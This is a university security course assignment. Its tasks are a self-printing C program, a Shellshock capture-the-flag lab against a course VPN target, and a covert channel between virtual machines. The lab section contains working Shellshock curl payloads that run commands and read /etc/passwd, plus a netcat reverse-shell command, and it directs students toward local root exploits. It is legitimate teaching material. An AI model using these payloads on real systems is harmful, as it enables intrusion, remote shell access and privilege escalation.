Operating Systems Security – Assignment 5

Version 1.0.0 – 2015/2016

Institute for Computing and Information Sciences,
Radboud University Nijmegen, The Netherlands.

1 Self-replicating code

Write a (small) C program that prints its own source-code.

2 Capture The Flag (CTF)

In computer security, Capture the Flag (CTF) is a computer security competition. CTF contests are usually designed to serve as an educational exercise to give participants experience in securing a machine, as well as conducting and reacting to the sort of attacks found in the real world. Reverse-engineering, network sniffing, protocol analysis, system administration, programming, and cryptanalysis are all skills which are heavily utilized during a CTF challenge[1].

Prerequisites 1

Set-up a Virtual Private Network (VPN) in your (Kali) Linux system and connect with the targets (local) network. Login to BlackBoard and retrieve the login credentials to access the VPN network.

1. To configure VPN in your (Kali) Linux system, make sure you use a ”bridged” network interface in VMware (or VirtualBox). This means that your virtual machine should get a similar IP address as your main computer (both get a lease from the DHCP server in your (local) network). To see the IP address of your (Kali) Linux system use the following command:
   ```
   $ sudo /sbin/ifconfig
   ```
2. Open a terminal in your (Kali) Linux system, install pptpsetup and configure the VPN
   ```
   $ sudo apt-get install pptp-linux
   $ sudo /usr/sbin/pptpsetup --create ossvpn --server hackme.cs.ru.nl --username oss
   --password [see blackboard] --encrypt
   ```
3. Connect with the VPN server
   ```
   $ sudo pon ossvpn
   ```
4. Verify that you got an IP address assigned in the range of `192.168.62.*`.
   ```
   $ sudo /sbin/ifconfig
   ...
   ppp0 Link encap:Point-to-Point Protocol
   inet addr:192.168.62.100 P-t-P:192.168.62.1 Mask:255.255.255.255
   ...
   ```
   The assigned IP address in the this example output is `192.168.62.100`.
5. Enable routing of packets within the same `192.168.62.*` subnet
   ```
   $ sudo ip route add 192.168.62.0/24 dev ppp0
   ```
6. Finally, test if you can reach the target system
   ```
   $ ping 192.168.62.2
   PING 192.168.62.2 (192.168.62.2) 56(84) bytes of data.
   64 bytes from 192.168.62.2: icmp_req=1 ttl=63 time=21.6 ms
   64 bytes from 192.168.62.2: icmp_req=2 ttl=63 time=23.3 ms
   64 bytes from 192.168.62.2: icmp_req=3 ttl=63 time=20.4 ms
   ...
   ```

[1] http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security

Prerequisites 2

1. Make yourself familiar with the **Shellshock** software bug. See the lecture slides and http://en.wikipedia.org/wiki/Shellshock_(software_bug).
2. Open a browser and navigate to `http://192.168.62.2/`, verify if it works and notice the website redirects directly to `http://192.168.62.2/cgi-bin/index.sh`. Execute in the (Kali) Linux terminal the following command to configure the `HDR` and `URL` environment variables.
   ```
   $ export HDR="echo 'Content-type: text/plain'; echo;"
   $ export URL="http://192.168.62.2/cgi-bin/index.sh"
   ```
3. Use the **Shellshock** vulnerability and execute the following commands remotely.
   Print the operating system name:
   ```
   $ curl -A "() { :; }; $HDR /bin/uname -a" $URL
   ```
   Print the `/etc/passwd` file:
   ```
   $ curl -A "() { :; }; $HDR /bin/cat /etc/passwd" $URL
   ```
   Show the network configuration:
   ```
   $ curl -A "() { :; }; $HDR /sbin/ifconfig" $URL
   ```

Objectives

a) Use the **netcat** utility to spawn a remote shell. Open in (Kali) Linux two shells and execute in the first one:
```
$ nc -v -v -l -p 4444
```
And in the second shell you exploit the **Shellshock** vulnerability:
```
$ curl -A "() { :; }; $HDR /bin/nc 192.168.62.100 4444 -e /bin/bash" $URL
```
Note, you should replace 192.168.62.100 with your 192.168.62. IP address*
Return to your first shell and explain what happens. Figure out what you have triggered and what rights you gained by doing this.

b) Try to gain root privileges without destroying the box (target system). Find a way to use Metasploit for this or find a Proof of Concept (PoC) exploit to attack the box. Examples of local privilege escalation (local root) exploits are not so difficult to find[2].

c) Explain in detail what you downloaded, compiled and executed to gain root privileges.

3 Covert channels (again)

This exercise is a bit of a preparation for next week's lecture on virtualization. Virtualization (as with vmware, virtualbox, xen or other solutions) significantly reduces covert channels, however it does not fully eliminate covert channels (and side channels).

Objective

Write a program that communicates through a covert channel from one VMWare virtual machine to another VMWare virtual machine.
Note: The program does not have to have a large communication bandwidth. It is sufficient if the sender sends one bit and the receiver receives this one bit with high probability.

[2] http://www.exploit-db.com/search/?action=search&filter_platform=16&filter_type=2 Use 'advanced search' and search for platform 'linux' and type 'local'.